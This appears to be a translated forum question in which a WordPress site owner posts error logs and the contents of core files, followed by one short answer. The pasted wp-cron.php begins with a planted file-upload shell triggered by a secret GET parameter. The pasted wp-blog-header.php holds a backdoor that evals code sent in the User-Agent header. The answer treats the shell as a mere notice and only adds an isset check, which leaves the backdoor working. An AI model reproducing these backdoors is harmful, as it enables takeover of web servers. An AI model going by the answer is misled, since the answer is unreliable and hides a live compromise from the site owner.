我在这里有一个wordpress网站 - ludhianathefilmcity.com /
我没有对处理网站文件的网站进行任何重大更改。我已经检查了错误日志，并在error_log中存在以下错误行。我的错误日志的最后一行是跟随 -
[27-Dec-2015 00:00:36 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[27-Dec-2015 14:12:50 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[28-Dec-2015 00:54:52 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[28-Dec-2015 10:46:57 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[28-Dec-2015 21:20:54 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[29-Dec-2015 07:31:20 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[29-Dec-2015 17:41:16 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[30-Dec-2015 03:48:06 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[30-Dec-2015 04:39:11 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[30-Dec-2015 06:10:05 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[30-Dec-2015 16:54:55 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[30-Dec-2015 23:54:55 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[31-Dec-2015 05:12:49 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[31-Dec-2015 06:58:40 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[31-Dec-2015 13:50:08 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[31-Dec-2015 13:57:43 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[31-Dec-2015 13:58:45 Etc/GMT] PHP Notice: Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[31-Dec-2015 14:39:48 Etc/GMT] PHP Deprecated: Function eregi() is deprecated in /home/ludhiana/public_html/wp-blog-header.php on line 7
我无法理解网站中可能出现的错误
当我打开网站时它只显示“正在工作”，我可以登录到仪表板并在那里选择相同的主题，所有文件都可以在Cpanel FileManager上找到
wp-cron.php文件代码
<?php
$alqnas = $_GET['alqnas'];
if($alqnas == 'eslam'){
$alqnasshell = $_FILES['file']['name'];
$alqnaseslam = $_FILES['file']['tmp_name'];
echo "<form method='POST' enctype='multipart/form-data'>
<input type='file'name='file' />
<input type='submit' value='upload shell' />
</form>";
move_uploaded_file($alqnaseslam,$alqnasshell);
}
?>
<?php
/**
* WordPress Cron Implementation for hosts, which do not offer CRON or for which
* the user has not set up a CRON job pointing to this file.
*
* The HTTP request to this file will not slow down the visitor who happens to
* visit when the cron job is needed to run.
*
* @package WordPress
*/
ignore_user_abort(true);
if ( !empty($_POST) || defined('DOING_AJAX') || defined('DOING_CRON') )
die();
/**
* Tell WordPress we are doing the CRON task.
*
* @var bool
*/
define('DOING_CRON', true);
if ( !defined('ABSPATH') ) {
/** Set up WordPress environment */
require_once( dirname( __FILE__ ) . '/wp-load.php' );
}
// Uncached doing_cron transient fetch
function _get_cron_lock() {
global $wpdb;
$value = 0;
if ( wp_using_ext_object_cache() ) {
// Skip local cache and force refetch of doing_cron transient in case
// another processs updated the cache
$value = wp_cache_get( 'doing_cron', 'transient', true );
} else {
$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", '_transient_doing_cron' ) );
if ( is_object( $row ) )
$value = $row->option_value;
}
return $value;
}
if ( false === $crons = _get_cron_array() )
die();
$keys = array_keys( $crons );
$gmt_time = microtime( true );
if ( isset($keys[0]) && $keys[0] > $gmt_time )
die();
$doing_cron_transient = get_transient( 'doing_cron');
// Use global $doing_wp_cron lock otherwise use the GET lock. If no lock, trying grabbing a new lock.
if ( empty( $doing_wp_cron ) ) {
if ( empty( $_GET[ 'doing_wp_cron' ] ) ) {
// Called from external script/job. Try setting a lock.
if ( $doing_cron_transient && ( $doing_cron_transient + WP_CRON_LOCK_TIMEOUT > $gmt_time ) )
return;
$doing_cron_transient = $doing_wp_cron = sprintf( '%.22F', microtime( true ) );
set_transient( 'doing_cron', $doing_wp_cron );
} else {
$doing_wp_cron = $_GET[ 'doing_wp_cron' ];
}
}
// Check lock
if ( $doing_cron_transient != $doing_wp_cron )
return;
foreach ( $crons as $timestamp => $cronhooks ) {
if ( $timestamp > $gmt_time )
break;
foreach ( $cronhooks as $hook => $keys ) {
foreach ( $keys as $k => $v ) {
$schedule = $v['schedule'];
if ( $schedule != false ) {
$new_args = array($timestamp, $schedule, $hook, $v['args']);
call_user_func_array('wp_reschedule_event', $new_args);
}
wp_unschedule_event( $timestamp, $hook, $v['args'] );
/**
* Fires scheduled events.
*
* @since 2.1.0
*
* @param string $hook Name of the hook that was scheduled to be fired.
* @param array $v['args'] The arguments to be passed to the hook.
*/
do_action_ref_array( $hook, $v['args'] );
// If the hook ran too long and another cron process stole the lock, quit.
if ( _get_cron_lock() != $doing_wp_cron )
return;
}
}
}
if ( _get_cron_lock() == $doing_wp_cron )
delete_transient( 'doing_cron' );
die();
我的Wordpress index.php文件
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
//define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
wp-blogheader.php文件
<?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) { eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; }
if ( !isset($wp_did_header) ) {
$wp_did_header = true;
require_once( dirname(__FILE__) . '/wp-load.php' );
wp();
require_once( ABSPATH . WPINC . '/template-loader.php' );
}
?>
答案 0 :(得分：1)
在使用之前，你应该检查$ _GET ['alqnas']变量是否存在：
$alqnas = isset($_GET['alqnas']) ? (string) $_GET['alqnas'] : '';
而不是
$alqnas = $_GET['alqnas'];